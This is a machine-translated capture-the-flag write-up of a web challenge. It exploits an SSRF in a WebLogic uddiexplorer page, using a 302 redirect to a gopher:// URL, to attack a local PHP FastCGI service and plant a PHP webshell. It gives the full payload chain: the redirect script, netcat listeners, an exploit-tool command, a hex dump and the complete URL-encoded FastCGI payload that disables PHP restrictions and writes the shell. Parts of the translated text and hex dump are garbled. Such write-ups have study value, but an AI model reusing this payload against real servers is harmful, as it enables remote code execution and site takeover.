ホワイトハットの 3 つの質問を正式に行うのは初めてですが、簡単ではなく、多くの落とし穴を踏んでしまいました...
から来たあなた。星は私によって失われました、私はあなたを取り戻すために私が持っているすべてを必要とします 2 つの文を作成しましたが、続けることができませんでした。これは非常に単純な質問であることは認めます。
を入手しました 検索すると、Changting の rr Chicory が記事を投稿していることがわかりました
https://blog.chaitin.com/gopher- Attack-surfaces/
discuz Gopher ラッパーに ssrf が存在することが記載されています、PHP 実行モードは fastcgi です。
ディレクトリをスキャンし、info.php を見つけました。phpinfo() を通じて、Gopher ラッパーが有効になっていないことがわかりました。
しばらくして、
hint3/console/
これを通じて weblogin サイトの存在を知りました。 。 。 webLogin
ここの穴は非常に単純で、少し検索した後に見つけました
テストにより、http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp にホールが存在することが判明しました
そして、前述の gopher プロトコル getshell と連携できます
まず。 Changting ブログの記事に従ってテストしました
サーバーを構築します
#!php<?phpheader("Location:gopher://服务器ip:2333/_test");?>
次に、サーバーの 2333 ポートをリッスンします
#!bashnc -lvv 2333
リクエストを送信します
#!bashhttp://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://服务器ip/gopher.php&rdoSearch=name&txtSearchname=sdf&txtSearchkey=
テストが実際に受信されたことがわかり、gopher が使用できることを確認しました
その後ペイロードを構築する時間です
fastcgi の使用について非常に重要な記事があります
http://zone.wooyun.org/content/1060
exp を使用してペイロードを生成します
#!bash./fcgi_exp system 127.0.0.1 2333 /opt/discuz/info.php "echo ‘$_GET[x]($_POST[xx]);’ > /opt/discuz/data/test.php"
ポート 2333 をリッスンします
#!bashnc -lvv 2333 > 1.txt
1.txt を見てみましょう
#!bash[email protected]
:/home/wwwroot/default/fcgi_exp# xxd 1 .txt 0000000: 0101 0001 0008 0000 0001 0000 0000 0000 ................ 0000010 : 0104 0001 0112 0600 0f14 5343 5249 5054 .....スクリプト 0000020 0000040 3 554d 454e 545f 524f 4f54 2f0f 1053 OCUMENT_ROOT/..S 0000050: 52 5645 525f 534f 4654 5741 5245 676f ERVER_SOFTWAREgo 0000060: 202f 2066 6367 6963 6c69 656e 7420 0b09 / fcgiclient .. 0000070: 5245 4d4f 5 445 5f41 4444 5231 3237 2e30 REMOTE_ADDR127.0 0000080: 2e30 2e31 0f08 5345 5256 4552 5f50 f .0.1..SERVER_PRO 0000090: 544f 434f 4c48 5454 502f 312e 310e 0343 TOCOLHTTP/1.1..C 00000a0: 4f4e 5445 4e54 5f4c 454e 4754 4831 3033 ONTENT_LENGTH103 00 000b0: 0e04 5245 5155 4553 545f 4d45 5448 4f44 ..REQUEST_METHOD 00c0: 504f 5354 095b 5048 505f 5641 4c55 4561 POST.[PHP_VALUEa 00000d0: 6c6c 6f77 5f75 726c 5f69 6e63 6c75 6465 low_url_include 00000e0: 203d 204f 6e0a 6469 7361 626c 655f 6675 = On.disable_fu 00000f0: 6e63 7469 6f6e 7320 3d20 0a73 6166 655f 機能 = .safe_ 0000100: 6d6f 6465 203d 204f 6666 0a61 7574 6f5f モード = オフ.auto_ 0000110: 7072 6570 656e 645f 6669 6c65 203d 2070 prepend_file = p 0000120: 6870 3a2f 2f69 6e70 7574 0000 0000 0 000 hp://input... 0000130: 0104 0001 0000 0000 0105 0001 0067 0100 ......g.. 0000140: 3c3f 7068 7020 7379 7374 656d 2827 6563 /opt/discu 0000170: 7a2f 6461 7461 2f64 646f 672e 7068 7027 z/data/test. 0000180: 293b 6469 6528 272d 2d2d 2d2d 3076 63 64 );die('-----0vcd 0000190 : 6233 346f 6a75 3039 6238 6664 2d2d 2d2d b34oju09b8fd---- 00001a0: 2d0a 2729 3 b3f 3e00 -.');?>.
その後、urlencode する必要があります
#!python>>> f = open('1.txt')>>> ff = f.read()>>> from urllib import quote>>> quote(ff)'%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%06%00%0F%14SCRIPT_FILENAME/opt/discuz/info.php%0D%01DOCUMENT_ROOT/%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%01%00%3C%3Fphp%20system%28%27echo%20%E2%80%98%5Bx%5D%28%5Bxx%5D%29%3B%E2%80%99%20%3E%20/opt/discuz/data/test.php%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00'
gopher.php を構築する
rreeRequest
#!php<?phpheader("gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%06%00%0F%14SCRIPT_FILENAME/opt/discuz/info.php%0D%01DOCUMENT_ROOT/%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%01%00%3C%3Fphp%20system%28%27echo%20%E2%80%98%5Bx%5D%28%5Bxx%5D%29%3B%E2%80%99%20%3E%20/opt/discuz/data/test.php%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00");?>
discuz データはデフォルトで書き込み可能であるため、webshell に正常に書き込まれます。シェルがバウンスできない理由がわからないという問題があります
0x02 質問の後は?
質問を終えた後、原理をさらに深く掘り下げたいと思ったところ、その質問が実際には昨年の hitcon quals lalala の web400 であることに突然気づきました
質問全体の中心概念は、302 を介して SSRF 制限をバイパスすることです。次に、SSRF の gopher を使用して、ローカル FastCGI プロトコルを悪用し、リモート コード実行を実現します
実際、php fastcgi がパブリック ネットワークに公開されている場合は、shell を使用できます
php-fpm はデフォルトでポート 9000 をリッスンします。PHP_ADMIN_VALUE を使用して、allow_url_include を on に設定し、php://input を使用して PHP コードを実行し、シェルを作成します
。